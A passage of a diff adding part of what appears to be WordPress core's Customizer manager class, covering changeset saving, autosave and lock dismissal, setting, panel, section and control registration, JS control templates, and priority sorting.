+			}
+		}
+		wp_set_current_user( $original_user_id );
+
+		// Update the stashed theme mod settings, removing the active theme's stashed settings, if activated.
+		if ( did_action( 'switch_theme' ) ) {
+			$other_theme_mod_settings = $theme_mod_settings;
+			unset( $other_theme_mod_settings[ $this->get_stylesheet() ] );
+			$this->update_stashed_theme_mod_settings( $other_theme_mod_settings );
+		}
+
+		/**
+		 * Fires after Customize settings have been saved.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param WP_Customize_Manager $manager WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_save_after', $this );
+
+		// Restore original capabilities.
+		foreach ( $original_setting_capabilities as $setting_id => $capability ) {
+			$setting = $this->get_setting( $setting_id );
+			if ( $setting ) {
+				$setting->capability = $capability;
+			}
+		}
+
+		// Restore original changeset data.
+		$this->_changeset_data    = $previous_changeset_data;
+		$this->_changeset_post_id = $previous_changeset_post_id;
+		$this->_changeset_uuid    = $previous_changeset_uuid;
+
+		/*
+		 * Convert all autosave revisions into their own auto-drafts so that users can be prompted to
+		 * restore them when a changeset is published, but they had been locked out from including
+		 * their changes in the changeset.
+		 */
+		$revisions = wp_get_post_revisions( $changeset_post_id, array( 'check_enabled' => false ) );
+		foreach ( $revisions as $revision ) {
+			if ( false !== strpos( $revision->post_name, "{$changeset_post_id}-autosave" ) ) {
+				$wpdb->update(
+					$wpdb->posts,
+					array(
+						'post_status' => 'auto-draft',
+						'post_type' => 'customize_changeset',
+						'post_name' => wp_generate_uuid4(),
+						'post_parent' => 0,
+					),
+					array(
+						'ID' => $revision->ID,
+					)
+				);
+				clean_post_cache( $revision->ID );
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Update stashed theme mod settings.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $inactive_theme_mod_settings Mapping of stylesheet to arrays of theme mod settings.
+	 * @return array|false Returns array of updated stashed theme mods or false if the update failed or there were no changes.
+	 */
+	protected function update_stashed_theme_mod_settings( $inactive_theme_mod_settings ) {
+		$stashed_theme_mod_settings = get_option( 'customize_stashed_theme_mods' );
+		if ( empty( $stashed_theme_mod_settings ) ) {
+			$stashed_theme_mod_settings = array();
+		}
+
+		// Delete any stashed theme mods for the active theme since they would have been loaded and saved upon activation.
+		unset( $stashed_theme_mod_settings[ $this->get_stylesheet() ] );
+
+		// Merge inactive theme mods with the stashed theme mod settings.
+		foreach ( $inactive_theme_mod_settings as $stylesheet => $theme_mod_settings ) {
+			if ( ! isset( $stashed_theme_mod_settings[ $stylesheet ] ) ) {
+				$stashed_theme_mod_settings[ $stylesheet ] = array();
+			}
+
+			$stashed_theme_mod_settings[ $stylesheet ] = array_merge(
+				$stashed_theme_mod_settings[ $stylesheet ],
+				$theme_mod_settings
+			);
+		}
+
+		$autoload = false;
+		$result = update_option( 'customize_stashed_theme_mods', $stashed_theme_mod_settings, $autoload );
+		if ( ! $result ) {
+			return false;
+		}
+		return $stashed_theme_mod_settings;
+	}
+
+	/**
+	 * Refresh nonces for the current preview.
+	 *
+	 * @since 4.2.0
+	 */
+	public function refresh_nonces() {
+		if ( ! $this->is_preview() ) {
+			wp_send_json_error( 'not_preview' );
+		}
+
+		wp_send_json_success( $this->get_nonces() );
+	}
+
+	/**
+	 * Delete a given auto-draft changeset or the autosave revision for a given changeset or delete changeset lock.
+	 *
+	 * @since 4.9.0
+	 */
+	public function handle_dismiss_autosave_or_lock_request() {
+		// Calls to dismiss_user_auto_draft_changesets() and wp_get_post_autosave() require non-zero get_current_user_id().
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( 'unauthenticated', 401 );
+		}
+
+		if ( ! $this->is_preview() ) {
+			wp_send_json_error( 'not_preview', 400 );
+		}
+
+		if ( ! check_ajax_referer( 'customize_dismiss_autosave_or_lock', 'nonce', false ) ) {
+			wp_send_json_error( 'invalid_nonce', 403 );
+		}
+
+		$changeset_post_id = $this->changeset_post_id();
+		$dismiss_lock = ! empty( $_POST['dismiss_lock'] );
+		$dismiss_autosave = ! empty( $_POST['dismiss_autosave'] );
+
+		if ( $dismiss_lock ) {
+			if ( empty( $changeset_post_id ) && ! $dismiss_autosave ) {
+				wp_send_json_error( 'no_changeset_to_dismiss_lock', 404 );
+			}
+			if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) && ! $dismiss_autosave ) {
+				wp_send_json_error( 'cannot_remove_changeset_lock', 403 );
+			}
+
+			delete_post_meta( $changeset_post_id, '_edit_lock' );
+
+			if ( ! $dismiss_autosave ) {
+				wp_send_json_success( 'changeset_lock_dismissed' );
+			}
+		}
+
+		if ( $dismiss_autosave ) {
+			if ( empty( $changeset_post_id ) || 'auto-draft' === get_post_status( $changeset_post_id ) ) {
+				$dismissed = $this->dismiss_user_auto_draft_changesets();
+				if ( $dismissed > 0 ) {
+					wp_send_json_success( 'auto_draft_dismissed' );
+				} else {
+					wp_send_json_error( 'no_auto_draft_to_delete', 404 );
+				}
+			} else {
+				$revision = wp_get_post_autosave( $changeset_post_id, get_current_user_id() );
+
+				if ( $revision ) {
+					if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->delete_post, $changeset_post_id ) ) {
+						wp_send_json_error( 'cannot_delete_autosave_revision', 403 );
+					}
+
+					if ( ! wp_delete_post( $revision->ID, true ) ) {
+						wp_send_json_error( 'autosave_revision_deletion_failure', 500 );
+					} else {
+						wp_send_json_success( 'autosave_revision_deleted' );
+					}
+				} else {
+					wp_send_json_error( 'no_autosave_revision_to_delete', 404 );
+				}
+			}
+		}
+
+		wp_send_json_error( 'unknown_error', 500 );
+	}
+
+	/**
+	 * Add a customize setting.
+	 *
+	 * @since 3.4.0
+	 * @since 4.5.0 Return added WP_Customize_Setting instance.
+	 *
+	 * @param WP_Customize_Setting|string $id   Customize Setting object, or ID.
+	 * @param array                       $args {
+	 *  Optional. Array of properties for the new WP_Customize_Setting. Default empty array.
+	 *
+	 *  @type string       $type                  Type of the setting. Default 'theme_mod'.
+	 *                                            Default 160.
+	 *  @type string       $capability            Capability required for the setting. Default 'edit_theme_options'
+	 *  @type string|array $theme_supports        Theme features required to support the panel. Default is none.
+	 *  @type string       $default               Default value for the setting. Default is empty string.
+	 *  @type string       $transport             Options for rendering the live preview of changes in Theme Customizer.
+	 *                                            Using 'refresh' makes the change visible by reloading the whole preview.
+	 *                                            Using 'postMessage' allows a custom JavaScript to handle live changes.
+	 *                                            @link https://developer.wordpress.org/themes/customize-api
+	 *                                            Default is 'refresh'
+	 *  @type callable     $validate_callback     Server-side validation callback for the setting's value.
+	 *  @type callable     $sanitize_callback     Callback to filter a Customize setting value in un-slashed form.
+	 *  @type callable     $sanitize_js_callback  Callback to convert a Customize PHP setting value to a value that is
+	 *                                            JSON serializable.
+	 *  @type bool         $dirty                 Whether or not the setting is initially dirty when created.
+	 * }
+	 * @return WP_Customize_Setting             The instance of the setting that was added.
+	 */
+	public function add_setting( $id, $args = array() ) {
+		if ( $id instanceof WP_Customize_Setting ) {
+			$setting = $id;
+		} else {
+			$class = 'WP_Customize_Setting';
+
+			/** This filter is documented in wp-includes/class-wp-customize-manager.php */
+			$args = apply_filters( 'customize_dynamic_setting_args', $args, $id );
+
+			/** This filter is documented in wp-includes/class-wp-customize-manager.php */
+			$class = apply_filters( 'customize_dynamic_setting_class', $class, $id, $args );
+
+			$setting = new $class( $this, $id, $args );
+		}
+
+		$this->settings[ $setting->id ] = $setting;
+		return $setting;
+	}
+
+	/**
+	 * Register any dynamically-created settings, such as those from $_POST['customized']
+	 * that have no corresponding setting created.
+	 *
+	 * This is a mechanism to "wake up" settings that have been dynamically created
+	 * on the front end and have been sent to WordPress in `$_POST['customized']`. When WP
+	 * loads, the dynamically-created settings then will get created and previewed
+	 * even though they are not directly created statically with code.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $setting_ids The setting IDs to add.
+	 * @return array The WP_Customize_Setting objects added.
+	 */
+	public function add_dynamic_settings( $setting_ids ) {
+		$new_settings = array();
+		foreach ( $setting_ids as $setting_id ) {
+			// Skip settings already created
+			if ( $this->get_setting( $setting_id ) ) {
+				continue;
+			}
+
+			$setting_args = false;
+			$setting_class = 'WP_Customize_Setting';
+
+			/**
+			 * Filters a dynamic setting's constructor args.
+			 *
+			 * For a dynamic setting to be registered, this filter must be employed
+			 * to override the default false value with an array of args to pass to
+			 * the WP_Customize_Setting constructor.
+			 *
+			 * @since 4.2.0
+			 *
+			 * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor.
+			 * @param string      $setting_id   ID for dynamic setting, usually coming from `$_POST['customized']`.
+			 */
+			$setting_args = apply_filters( 'customize_dynamic_setting_args', $setting_args, $setting_id );
+			if ( false === $setting_args ) {
+				continue;
+			}
+
+			/**
+			 * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass.
+			 *
+			 * @since 4.2.0
+			 *
+			 * @param string $setting_class WP_Customize_Setting or a subclass.
+			 * @param string $setting_id    ID for dynamic setting, usually coming from `$_POST['customized']`.
+			 * @param array  $setting_args  WP_Customize_Setting or a subclass.
+			 */
+			$setting_class = apply_filters( 'customize_dynamic_setting_class', $setting_class, $setting_id, $setting_args );
+
+			$setting = new $setting_class( $this, $setting_id, $setting_args );
+
+			$this->add_setting( $setting );
+			$new_settings[] = $setting;
+		}
+		return $new_settings;
+	}
+
+	/**
+	 * Retrieve a customize setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Customize Setting ID.
+	 * @return WP_Customize_Setting|void The setting, if set.
+	 */
+	public function get_setting( $id ) {
+		if ( isset( $this->settings[ $id ] ) ) {
+			return $this->settings[ $id ];
+		}
+	}
+
+	/**
+	 * Remove a customize setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Customize Setting ID.
+	 */
+	public function remove_setting( $id ) {
+		unset( $this->settings[ $id ] );
+	}
+
+	/**
+	 * Add a customize panel.
+	 *
+	 * @since 4.0.0
+	 * @since 4.5.0 Return added WP_Customize_Panel instance.
+	 *
+	 * @param WP_Customize_Panel|string $id   Customize Panel object, or Panel ID.
+	 * @param array                     $args {
+	 *  Optional. Array of properties for the new Panel object. Default empty array.
+	 *  @type int          $priority              Priority of the panel, defining the display order of panels and sections.
+	 *                                            Default 160.
+	 *  @type string       $capability            Capability required for the panel. Default `edit_theme_options`
+	 *  @type string|array $theme_supports        Theme features required to support the panel.
+	 *  @type string       $title                 Title of the panel to show in UI.
+	 *  @type string       $description           Description to show in the UI.
+	 *  @type string       $type                  Type of the panel.
+	 *  @type callable     $active_callback       Active callback.
+	 * }
+	 * @return WP_Customize_Panel             The instance of the panel that was added.
+	 */
+	public function add_panel( $id, $args = array() ) {
+		if ( $id instanceof WP_Customize_Panel ) {
+			$panel = $id;
+		} else {
+			$panel = new WP_Customize_Panel( $this, $id, $args );
+		}
+
+		$this->panels[ $panel->id ] = $panel;
+		return $panel;
+	}
+
+	/**
+	 * Retrieve a customize panel.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $id Panel ID to get.
+	 * @return WP_Customize_Panel|void Requested panel instance, if set.
+	 */
+	public function get_panel( $id ) {
+		if ( isset( $this->panels[ $id ] ) ) {
+			return $this->panels[ $id ];
+		}
+	}
+
+	/**
+	 * Remove a customize panel.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $id Panel ID to remove.
+	 */
+	public function remove_panel( $id ) {
+		// Removing core components this way is _doing_it_wrong().
+		if ( in_array( $id, $this->components, true ) ) {
+			/* translators: 1: panel id, 2: link to 'customize_loaded_components' filter reference */
+			$message = sprintf( __( 'Removing %1$s manually will cause PHP warnings. Use the %2$s filter instead.' ),
+				$id,
+				'<a href="' . esc_url( 'https://developer.wordpress.org/reference/hooks/customize_loaded_components/' ) . '"><code>customize_loaded_components</code></a>'
+			);
+
+			_doing_it_wrong( __METHOD__, $message, '4.5.0' );
+		}
+		unset( $this->panels[ $id ] );
+	}
+
+	/**
+	 * Register a customize panel type.
+	 *
+	 * Registered types are eligible to be rendered via JS and created dynamically.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Panel
+	 *
+	 * @param string $panel Name of a custom panel which is a subclass of WP_Customize_Panel.
+	 */
+	public function register_panel_type( $panel ) {
+		$this->registered_panel_types[] = $panel;
+	}
+
+	/**
+	 * Render JS templates for all registered panel types.
+	 *
+	 * @since 4.3.0
+	 */
+	public function render_panel_templates() {
+		foreach ( $this->registered_panel_types as $panel_type ) {
+			$panel = new $panel_type( $this, 'temp', array() );
+			$panel->print_template();
+		}
+	}
+
+	/**
+	 * Add a customize section.
+	 *
+	 * @since 3.4.0
+	 * @since 4.5.0 Return added WP_Customize_Section instance.
+	 *
+	 * @param WP_Customize_Section|string $id   Customize Section object, or Section ID.
+	 * @param array                     $args {
+	 *  Optional. Array of properties for the new Section object. Default empty array.
+	 *  @type int          $priority              Priority of the section, defining the display order of panels and sections.
+	 *                                            Default 160.
+	 *  @type string       $panel                 The panel this section belongs to (if any). Default empty.
+	 *  @type string       $capability            Capability required for the section. Default 'edit_theme_options'
+	 *  @type string|array $theme_supports        Theme features required to support the section.
+	 *  @type string       $title                 Title of the section to show in UI.
+	 *  @type string       $description           Description to show in the UI.
+	 *  @type string       $type                  Type of the section.
+	 *  @type callable     $active_callback       Active callback.
+	 *  @type bool         $description_hidden    Hide the description behind a help icon, instead of inline above the first control. Default false.
+	 * }
+	 * @return WP_Customize_Section             The instance of the section that was added.
+	 */
+	public function add_section( $id, $args = array() ) {
+		if ( $id instanceof WP_Customize_Section ) {
+			$section = $id;
+		} else {
+			$section = new WP_Customize_Section( $this, $id, $args );
+		}
+
+		$this->sections[ $section->id ] = $section;
+		return $section;
+	}
+
+	/**
+	 * Retrieve a customize section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Section ID.
+	 * @return WP_Customize_Section|void The section, if set.
+	 */
+	public function get_section( $id ) {
+		if ( isset( $this->sections[ $id ] ) )
+			return $this->sections[ $id ];
+	}
+
+	/**
+	 * Remove a customize section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id Section ID.
+	 */
+	public function remove_section( $id ) {
+		unset( $this->sections[ $id ] );
+	}
+
+	/**
+	 * Register a customize section type.
+	 *
+	 * Registered types are eligible to be rendered via JS and created dynamically.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Section
+	 *
+	 * @param string $section Name of a custom section which is a subclass of WP_Customize_Section.
+	 */
+	public function register_section_type( $section ) {
+		$this->registered_section_types[] = $section;
+	}
+
+	/**
+	 * Render JS templates for all registered section types.
+	 *
+	 * @since 4.3.0
+	 */
+	public function render_section_templates() {
+		foreach ( $this->registered_section_types as $section_type ) {
+			$section = new $section_type( $this, 'temp', array() );
+			$section->print_template();
+		}
+	}
+
+	/**
+	 * Add a customize control.
+	 *
+	 * @since 3.4.0
+	 * @since 4.5.0 Return added WP_Customize_Control instance.
+	 *
+	 * @param WP_Customize_Control|string $id   Customize Control object, or ID.
+	 * @param array                       $args {
+	 *  Optional. Array of properties for the new Control object. Default empty array.
+	 *
+	 *  @type array        $settings              All settings tied to the control. If undefined, defaults to `$setting`.
+	 *                                            IDs in the array correspond to the ID of a registered `WP_Customize_Setting`.
+	 *  @type string       $setting               The primary setting for the control (if there is one). Default is 'default'.
+	 *  @type string       $capability            Capability required to use this control. Normally derived from `$settings`.
+	 *  @type int          $priority              Order priority to load the control. Default 10.
+	 *  @type string       $section               The section this control belongs to. Default empty.
+	 *  @type string       $label                 Label for the control. Default empty.
+	 *  @type string       $description           Description for the control. Default empty.
+	 *  @type array        $choices               List of choices for 'radio' or 'select' type controls, where values
+	 *                                            are the keys, and labels are the values. Default empty array.
+	 *  @type array        $input_attrs           List of custom input attributes for control output, where attribute
+	 *                                            names are the keys and values are the values. Default empty array.
+	 *  @type bool         $allow_addition        Show UI for adding new content, currently only used for the
+	 *                                            dropdown-pages control. Default false.
+	 *  @type string       $type                  The type of the control. Default 'text'.
+	 *  @type callback     $active_callback       Active callback.
+	 * }
+	 * @return WP_Customize_Control             The instance of the control that was added.
+	 */
+	public function add_control( $id, $args = array() ) {
+		if ( $id instanceof WP_Customize_Control ) {
+			$control = $id;
+		} else {
+			$control = new WP_Customize_Control( $this, $id, $args );
+		}
+
+		$this->controls[ $control->id ] = $control;
+		return $control;
+	}
+
+	/**
+	 * Retrieve a customize control.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id ID of the control.
+	 * @return WP_Customize_Control|void The control object, if set.
+	 */
+	public function get_control( $id ) {
+		if ( isset( $this->controls[ $id ] ) )
+			return $this->controls[ $id ];
+	}
+
+	/**
+	 * Remove a customize control.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $id ID of the control.
+	 */
+	public function remove_control( $id ) {
+		unset( $this->controls[ $id ] );
+	}
+
+	/**
+	 * Register a customize control type.
+	 *
+	 * Registered types are eligible to be rendered via JS and created dynamically.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $control Name of a custom control which is a subclass of
+	 *                        WP_Customize_Control.
+	 */
+	public function register_control_type( $control ) {
+		$this->registered_control_types[] = $control;
+	}
+
+	/**
+	 * Render JS templates for all registered control types.
+	 *
+	 * @since 4.1.0
+	 */
+	public function render_control_templates() {
+		if ( $this->branching() ) {
+			$l10n = array(
+				/* translators: %s: User who is customizing the changeset in customizer. */
+				'locked' => __( '%s is already customizing this changeset. Please wait until they are done to try customizing. Your latest changes have been autosaved.' ),
+				/* translators: %s: User who is customizing the changeset in customizer. */
+				'locked_allow_override' => __( '%s is already customizing this changeset. Do you want to take over?' ),
+			);
+		} else {
+			$l10n = array(
+				/* translators: %s: User who is customizing the changeset in customizer. */
+				'locked' => __( '%s is already customizing this site. Please wait until they are done to try customizing. Your latest changes have been autosaved.' ),
+				/* translators: %s: User who is customizing the changeset in customizer. */
+				'locked_allow_override' => __( '%s is already customizing this site. Do you want to take over?' ),
+			);
+		}
+
+		foreach ( $this->registered_control_types as $control_type ) {
+			$control = new $control_type( $this, 'temp', array(
+				'settings' => array(),
+			) );
+			$control->print_template();
+		}
+		?>
+
+		<script type="text/html" id="tmpl-customize-control-default-content">
+			<#
+			var inputId = _.uniqueId( 'customize-control-default-input-' );
+			var descriptionId = _.uniqueId( 'customize-control-default-description-' );
+			var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
+			#>
+			<# switch ( data.type ) {
+				case 'checkbox': #>
+					<span class="customize-inside-control-row">
+						<input
+							id="{{ inputId }}"
+							{{{ describedByAttr }}}
+							type="checkbox"
+							value="{{ data.value }}"
+							data-customize-setting-key-link="default"
+						>
+						<label for="{{ inputId }}">
+							{{ data.label }}
+						</label>
+						<# if ( data.description ) { #>
+							<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
+						<# } #>
+					</span>
+					<#
+					break;
+				case 'radio':
+					if ( ! data.choices ) {
+						return;
+					}
+					#>
+					<# if ( data.label ) { #>
+						<label for="{{ inputId }}" class="customize-control-title">
+							{{ data.label }}
+						</label>
+					<# } #>
+					<# if ( data.description ) { #>
+						<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
+					<# } #>
+					<# _.each( data.choices, function( val, key ) { #>
+						<span class="customize-inside-control-row">
+							<#
+							var value, text;
+							if ( _.isObject( val ) ) {
+								value = val.value;
+								text = val.text;
+							} else {
+								value = key;
+								text = val;
+							}
+							#>
+							<input
+								id="{{ inputId + '-' + value }}"
+								type="radio"
+								value="{{ value }}"
+								name="{{ inputId }}"
+								data-customize-setting-key-link="default"
+								{{{ describedByAttr }}}
+							>
+							<label for="{{ inputId + '-' + value }}">{{ text }}</label>
+						</span>
+					<# } ); #>
+					<#
+					break;
+				default:
+					#>
+					<# if ( data.label ) { #>
+						<label for="{{ inputId }}" class="customize-control-title">
+							{{ data.label }}
+						</label>
+					<# } #>
+					<# if ( data.description ) { #>
+						<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
+					<# } #>
+
+					<#
+					var inputAttrs = {
+						id: inputId,
+						'data-customize-setting-key-link': 'default'
+					};
+					if ( 'textarea' === data.type ) {
+						inputAttrs.rows = '5';
+					} else if ( 'button' === data.type ) {
+						inputAttrs['class'] = 'button button-secondary';
+						inputAttrs.type = 'button';
+					} else {
+						inputAttrs.type = data.type;
+					}
+					if ( data.description ) {
+						inputAttrs['aria-describedby'] = descriptionId;
+					}
+					_.extend( inputAttrs, data.input_attrs );
+					#>
+
+					<# if ( 'button' === data.type ) { #>
+						<button
+							<# _.each( _.extend( inputAttrs ), function( value, key ) { #>
+								{{{ key }}}="{{ value }}"
+							<# } ); #>
+						>{{ inputAttrs.value }}</button>
+					<# } else if ( 'textarea' === data.type ) { #>
+						<textarea
+							<# _.each( _.extend( inputAttrs ), function( value, key ) { #>
+								{{{ key }}}="{{ value }}"
+							<# }); #>
+						>{{ inputAttrs.value }}</textarea>
+					<# } else if ( 'select' === data.type ) { #>
+						<# delete inputAttrs.type; #>
+						<select
+							<# _.each( _.extend( inputAttrs ), function( value, key ) { #>
+								{{{ key }}}="{{ value }}"
+							<# }); #>
+							>
+							<# _.each( data.choices, function( val, key ) { #>
+								<#
+								var value, text;
+								if ( _.isObject( val ) ) {
+									value = val.value;
+									text = val.text;
+								} else {
+									value = key;
+									text = val;
+								}
+								#>
+								<option value="{{ value }}">{{ text }}</option>
+							<# } ); #>
+						</select>
+					<# } else { #>
+						<input
+							<# _.each( _.extend( inputAttrs ), function( value, key ) { #>
+								{{{ key }}}="{{ value }}"
+							<# }); #>
+							>
+					<# } #>
+			<# } #>
+		</script>
+
+		<script type="text/html" id="tmpl-customize-notification">
+			<li class="notice notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.containerClasses || '' }}" data-code="{{ data.code }}" data-type="{{ data.type }}">
+				<div class="notification-message">{{{ data.message || data.code }}}</div>
+				<# if ( data.dismissible ) { #>
+					<button type="button" class="notice-dismiss"><span class="screen-reader-text"><?php _e( 'Dismiss' ); ?></span></button>
+				<# } #>
+			</li>
+		</script>
+
+		<script type="text/html" id="tmpl-customize-changeset-locked-notification">
+			<li class="notice notice-{{ data.type || 'info' }} {{ data.containerClasses || '' }}" data-code="{{ data.code }}" data-type="{{ data.type }}">
+				<div class="notification-message customize-changeset-locked-message">
+					<img class="customize-changeset-locked-avatar" src="{{ data.lockUser.avatar }}" alt="{{ data.lockUser.name }}">
+					<p class="currently-editing">
+						<# if ( data.message ) { #>
+							{{{ data.message }}}
+						<# } else if ( data.allowOverride ) { #>
+							<?php
+							echo esc_html( sprintf( $l10n['locked_allow_override'], '{{ data.lockUser.name }}' ) );
+							?>
+						<# } else { #>
+							<?php
+							echo esc_html( sprintf( $l10n['locked'], '{{ data.lockUser.name }}' ) );
+							?>
+						<# } #>
+					</p>
+					<p class="notice notice-error notice-alt" hidden></p>
+					<p class="action-buttons">
+						<# if ( data.returnUrl !== data.previewUrl ) { #>
+							<a class="button customize-notice-go-back-button" href="{{ data.returnUrl }}"><?php _e( 'Go back' ); ?></a>
+						<# } #>
+						<a class="button customize-notice-preview-button" href="{{ data.frontendPreviewUrl }}"><?php _e( 'Preview' ); ?></a>
+						<# if ( data.allowOverride ) { #>
+							<button class="button button-primary wp-tab-last customize-notice-take-over-button"><?php _e( 'Take over' ); ?></button>
+						<# } #>
+					</p>
+				</div>
+			</li>
+		</script>
+
+		<script type="text/html" id="tmpl-customize-code-editor-lint-error-notification">
+			<li class="notice notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.containerClasses || '' }}" data-code="{{ data.code }}" data-type="{{ data.type }}">
+				<div class="notification-message">{{{ data.message || data.code }}}</div>
+
+				<p>
+					<# var elementId = 'el-' + String( Math.random() ); #>
+					<input id="{{ elementId }}" type="checkbox">
+					<label for="{{ elementId }}"><?php _e( 'Update anyway, even though it might break your site?' ); ?></label>
+				</p>
+			</li>
+		</script>
+
+		<?php
+		/* The following template is obsolete in core but retained for plugins. */
+		?>
+		<script type="text/html" id="tmpl-customize-control-notifications">
+			<ul>
+				<# _.each( data.notifications, function( notification ) { #>
+					<li class="notice notice-{{ notification.type || 'info' }} {{ data.altNotice ? 'notice-alt' : '' }}" data-code="{{ notification.code }}" data-type="{{ notification.type }}">{{{ notification.message || notification.code }}}</li>
+				<# } ); #>
+			</ul>
+		</script>
+
+		<script type="text/html" id="tmpl-customize-preview-link-control" >
+			<# var elementPrefix = _.uniqueId( 'el' ) + '-' #>
+			<p class="customize-control-title">
+				<?php esc_html_e( 'Share Preview Link' ); ?>
+			</p>
+			<p class="description customize-control-description"><?php esc_html_e( 'See how changes would look live on your website, and share the preview with people who can\'t access the Customizer.' ); ?></p>
+			<div class="customize-control-notifications-container"></div>
+			<div class="preview-link-wrapper">
+				<label for="{{ elementPrefix }}customize-preview-link-input" class="screen-reader-text"><?php esc_html_e( 'Preview Link' ); ?></label>
+				<a href="" target="">
+					<span class="preview-control-element" data-component="url"></span>
+					<span class="screen-reader-text"><?php _e( '(opens in a new window)' ); ?></span>
+				</a>
+				<input id="{{ elementPrefix }}customize-preview-link-input" readonly tabindex="-1" class="preview-control-element" data-component="input">
+				<button class="customize-copy-preview-link preview-control-element button button-secondary" data-component="button" data-copy-text="<?php esc_attr_e( 'Copy' ); ?>" data-copied-text="<?php esc_attr_e( 'Copied' ); ?>" ><?php esc_html_e( 'Copy' ); ?></button>
+			</div>
+		</script>
+		<script type="text/html" id="tmpl-customize-selected-changeset-status-control">
+			<# var inputId = _.uniqueId( 'customize-selected-changeset-status-control-input-' ); #>
+			<# var descriptionId = _.uniqueId( 'customize-selected-changeset-status-control-description-' ); #>
+			<# if ( data.label ) { #>
+				<label for="{{ inputId }}" class="customize-control-title">{{ data.label }}</label>
+			<# } #>
+			<# if ( data.description ) { #>
+				<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
+			<# } #>
+			<# _.each( data.choices, function( choice ) { #>
+				<# var choiceId = inputId + '-' + choice.status; #>
+				<span class="customize-inside-control-row">
+					<input id="{{ choiceId }}" type="radio" value="{{ choice.status }}" name="{{ inputId }}" data-customize-setting-key-link="default">
+					<label for="{{ choiceId }}">{{ choice.label }}</label>
+				</span>
+			<# } ); #>
+		</script>
+		<?php
+	}
+
+	/**
+	 * Helper function to compare two objects by priority, ensuring sort stability via instance_number.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0 Use wp_list_sort()
+	 *
+	 * @param WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control $a Object A.
+	 * @param WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control $b Object B.
+	 * @return int
+	 */
+	protected function _cmp_priority( $a, $b ) {
+		_deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' );
+
+		if ( $a->priority === $b->priority ) {
+			return $a->instance_number - $b->instance_number;
+		} else {
+			return $a->priority - $b->priority;
+		}
+	}
+
+	/**
+	 * Prepare panels, sections, and controls.
+	 *
+	 * For each, check if required related components exist,
+	 * whether the user has the necessary capabilities,
+	 * and sort by priority.
+	 *
+	 * @since 3.4.0
+	 */
+	public function prepare_controls() {
+
+		$controls = array();
+		$this->controls = wp_list_sort( $this->controls, array(
+			'priority'        => 'ASC',
+			'instance_number' => 'ASC',
+		), 'ASC', true );
+
+		foreach ( $this->controls as $id => $control ) {
+			if ( ! isset( $this->sections[ $control->section ] ) || ! $control->check_capabilities() ) {
+				continue;
+			}
+
+			$this->sections[ $control->section ]->controls[] = $control;
+			$controls[ $id ] = $control;
+		}
+		$this->controls = $controls;
+
+		// Prepare sections.
+		$this->sections = wp_list_sort( $this->sections, array(
+			'priority'        => 'ASC',
+			'instance_number' => 'ASC',
+		), 'ASC', true );
+		$sections = array();
+
+		foreach ( $this->sections as $section ) {
+			if ( ! $section->check_capabilities() ) {
+				continue;
+			}
+
+
+			$section->controls = wp_list_sort( $section->controls, array(
+				'priority'        => 'ASC',
+				'instance_number' => 'ASC',
+			) );
+
+			if ( ! $section->panel ) {
+				// Top-level section.
+				$sections[ $section->id ] = $section;
+			} else {
+				// This section belongs to a panel.
+				if ( isset( $this->panels [ $section->panel ] ) ) {
+					$this->panels[ $section->panel ]->sections[ $section->id ] = $section;
+				}
+			}
+		}
+		$this->sections = $sections;
+
+		// Prepare panels.
+		$this->panels = wp_list_sort( $this->panels, array(
+			'priority'        => 'ASC',
+			'instance_number' => 'ASC',
+		), 'ASC', true );
+		$panels = array();
+
+		foreach ( $this->panels as $panel ) {
+			if ( ! $panel->check_capabilities() ) {
+				continue;
+			}
+
+			$panel->sections = wp_list_sort( $panel->sections, array(
+				'priority'        => 'ASC',
+				'instance_number' => 'ASC',
+			), 'ASC', true );
+			$panels[ $panel->id ] = $panel;
+		}
+		$this->panels = $panels;
+
+		// Sort panels and top-level sections together.
+		$this->containers = array_merge( $this->panels, $this->sections );
+		$this->containers = wp_list_sort( $this->containers, array(
+			'priority'        => 'ASC',
+			'instance_number' => 'ASC',
+		), 'ASC', true );
+	}
+
+	/**
+	 * Enqueue scripts for customize controls.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue_control_scripts() {
+		foreach ( $this->controls as $control ) {
+			$control->enqueue();
+		}
+
+		if ( ! is_multisite() && ( current_user_can( 'install_themes' ) || current_user_can( 'update_themes' ) || current_user_can( 'delete_themes' ) ) ) {
+			wp_enqueue_script( 'updates' );
+			wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+				'totals' => wp_get_update_data(),
+			) );
+		}
+	}
+
+	/**
+	 * Determine whether the user agent is iOS.
+	 *
+	 * @since 4.4.0
+	 *
